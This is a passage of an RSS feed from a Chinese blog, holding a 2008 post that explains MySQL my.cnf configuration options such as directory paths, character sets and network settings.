		<wfw:commentRss>http://www.wemvc.com/366.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MYSQL&#8211;my.cnf配置中文详解</title>
		<link>http://www.wemvc.com/364.html</link>
		<comments>http://www.wemvc.com/364.html#comments</comments>
		<pubDate>Fri, 26 Sep 2008 16:40:50 +0000</pubDate>
		<dc:creator>精东</dc:creator>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.wemvc.com/?p=364</guid>
		<description><![CDATA[mysqld程序&#8211;目录和文件
引用
basedir = path  使用给定目录作为根目录(安装目录)。
character-sets-dir = path  给出存放着字符集的目录。
datadir = path  从给定目录读取数据库文件。
pid-file = filename  为mysqld程序指定一个存放进程ID的文件(仅适用于UNIX/Linux系统); Init-V脚本需要使用这个文件里的进程ID结束mysqld进程。
socket = filename  为MySQL客户程序与服务器之间的本地通信指定一个套接字文件(仅适用于UNIX/Linux系统; 默认设置一般是/var/lib/mysql/mysql.sock文件)。在Windows环境下，如果MySQL客户与服务器是通过命名管道进行通信的，&#8211;sock选项给出的将是该命名管道的名字(默认设置是MySQL)。
lower_case_table_name = 1/0  新目录和数据表的名字是否只允许使用小写字母; 这个选项在Windows环境下的默认设置是1(只允许使用小写字母)。
mysqld程序&#8211;语言设置
引用
character-sets-server = name  新数据库或数据表的默认字符集。为了与MySQL的早期版本保持兼容，这个字符集也可以用&#8211;default-character-set选项给出; 但这个选项已经显得有点过时了。
collation-server = name  新数据库或数据表的默认排序方式。
lanuage = name  用指定的语言显示出错信息。
mysqld程序&#8211;通信、网络、信息安全
引用
enable-named-pipes  允许Windows 2000/XP环境下的客户和服务器使用命名管道(named pipe)进行通信。这个命名管道的默认名字是MySQL，但可以用&#8211;socket选项来改变。
local-infile [=0]  允许/禁止使用LOAD DATA LOCAL语句来处理本地文件。
myisam-recover [=opt1, opt2, ...]  在启动时自动修复所有受损的MyISAM数据表。这个选项的可取值有4种:DEFAULT、BACKUP、QUICK和FORCE; [...]]]></description>
		<wfw:commentRss>http://www.wemvc.com/364.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

